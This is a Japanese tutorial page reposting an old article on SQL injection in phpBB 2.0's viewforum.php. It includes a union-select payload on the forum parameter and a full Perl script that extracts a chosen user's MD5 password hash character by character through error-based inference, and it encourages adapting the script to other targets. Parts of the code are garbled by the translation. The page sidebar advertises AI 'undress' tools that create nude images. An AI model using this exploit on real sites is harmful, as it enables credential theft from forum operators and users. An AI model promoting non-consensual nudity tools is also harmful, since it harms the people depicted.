ホームページ バックエンド開発 PHPチュートリアル PHP インジェクションの例_PHP チュートリアル

PHP インジェクションの例_PHP チュートリアル

Jul 21, 2016 pm 04:09 PM
php コード について 利用 そして 存在する 全体 記事 はい 注射


PHPインジェクションの例 インターネット上で php インジェクションとアプリケーション コードに関する完全な記事を見るのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と php を勉強しました
と信じています。 asp インジェクションはすでに非常によく知られていますが、php へのインジェクションは asp よりも困難です。php の magic_gpc オプションは本当に頭の痛い問題です。インジェクションでは引用符を使用しないでください。また、php は主に mysql と関数型の組み合わせで使用されます。 mysql の欠点 他の人の観点から見ると、SQL インジェクション攻撃をある程度防ぐことができます。ここで phpbb2.0 を例に挙げます。
viewforum.php には次の変数があります。フィルタリングされていません:
if ( isset( $HTTP_GET_VARS{
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS< pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum']
}
else
{
$forum_id = '';
}
これはフォーラムであり、次のものがクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした', '', __LINE__, __FILE__ , $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');

asp の場合、forum_id で指定されたフォーラムが存在しない場合は、それを挿入する人が多いと思います。 $result は空になり、フォーラム情報を取得できませんでした。そのため、次のコードは実行できません
//
// クエリが行を返さない場合、これは有効なフォーラムではないことを通知します
//。 user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}

//
// セッション管理を開始します
//
$userdata = session_pagestart($user_ip, $forum_id) /*********************************** *****

キーはアスタリスクの行です。これは session_pagestart($user_ip, $thispage_id) という関数です。コードが長すぎるため、私が勝ちました。全文は掲載しておりませんので、興味のある方はご自身でご覧ください。重要なのは、この関数が session_begin() を呼び出すことです。 )) これは、次のコードも含めて定義されています
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db - &gt; sql_affectedRows()){$ session_id = md5($ user_ip);
session_logged_in)
VALUES ('$session_id', $user_id , $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql) )) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成中にエラーが発生しました: session_begin', '', __LINE__, __FILE__,

$sql);


ここには mysql で整数として定義されている session_page があり、その値は $page_id であり、挿入された値が整数でない場合は、エラーが報告され、

作成エラーが表示されます。新しいセッション: session_begin ヒント: $forum_id の値は非常に重要なので、次のように指定しました: -1%20union%20select%201,1,1,1,1,1,1,1,1,1,1 ,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57、いいえ引用符 ! 存在しない forum_id を指定していますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id 2 を持つユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。そうであれば、の値が 57 になります。記事 コード内の $result が空ではないため、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生するため、Error created new session: session_begin が表示されます。 1 つのビットは正しく推測され、他のビットも同様です。

エラー メッセージが表示されても、注入が成功したかどうかを判断するのは難しいと思います。分析はここで終了し、コードの下にテストが添付されています。このコードは、少し変更することで他の同様の md5 パスワード推測の状況に適用できます。ここでは、中国語およびその他の言語の場合、英語版の戻り条件を使用します。

use HTTP::Request::Common;
use LWP::UserAgent;
$ua = new LWP::UserAgent; ************* *******n";
print "phpbb viewforum.php expn";
print " code by pineyesn";
print " www.icehack.comn" ;
print " ***************n";
print "弱いファイルの URL:n を入力してください"; //192.168.1.4/phpBB2/viewforum.phpn";
$adr=;
chomp($adr);
print "解読したいuser_idを入力してください";
$u=chomp($u);
print "作業を開始します。お待ちください!n";
@pink=(@pink,97..102); j=1;$j<=32;$j++) {
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select% 201,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring( user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url ");
$response = $ua->request ($request);

if ($response->is_success) {
if ($response->content =~ /新しいセッションの作成エラー/) {
$pwd.=chr($pink[$i]) ;
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "成功しました、パスワードは $pwd ,good luckyn";}
else{
print "bad lucky,work failed!n";}

phpbb2.0.6 の search.php に関する最近の問題については、上記のコードを少し変更するだけで、プログラムにエラーがある場合は、www.icehack.com にアクセスして修正してください。



http://www.bkjia.com/PHPjc/314566.html

www.bkjia.com

tru​​e

技術記事 PHP インジェクションの例 PHP インジェクションに関する完全な記事とアプリケーション コードをインターネット上で見つけるのは難しいため、私は数週間にわたって mysql と PHP を勉強してきました。脇に置きたいと思って、以下に私の経験について話しましょう...
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

CakePHP プロジェクトの構成 CakePHP プロジェクトの構成 Sep 10, 2024 pm 05:25 PM

この章では、CakePHP の環境変数、一般設定、データベース設定、電子メール設定について理解します。

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

CakePHP の日付と時刻 CakePHP の日付と時刻 Sep 10, 2024 pm 05:27 PM

Cakephp4 で日付と時刻を操作するには、利用可能な FrozenTime クラスを利用します。

CakePHP ファイルのアップロード CakePHP ファイルのアップロード Sep 10, 2024 pm 05:27 PM

ファイルのアップロードを行うには、フォーム ヘルパーを使用します。ここではファイルアップロードの例を示します。

CakePHP ルーティング CakePHP ルーティング Sep 10, 2024 pm 05:25 PM

この章では、ルーティングに関連する次のトピックを学習します。

CakePHP について話し合う CakePHP について話し合う Sep 10, 2024 pm 05:28 PM

CakePHP は、PHP 用のオープンソース フレームワークです。これは、アプリケーションの開発、展開、保守をより簡単にすることを目的としています。 CakePHP は、強力かつ理解しやすい MVC のようなアーキテクチャに基づいています。モデル、ビュー、コントローラー

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

CakePHP バリデータの作成 CakePHP バリデータの作成 Sep 10, 2024 pm 05:26 PM

Validator は、コントローラーに次の 2 行を追加することで作成できます。

See all articles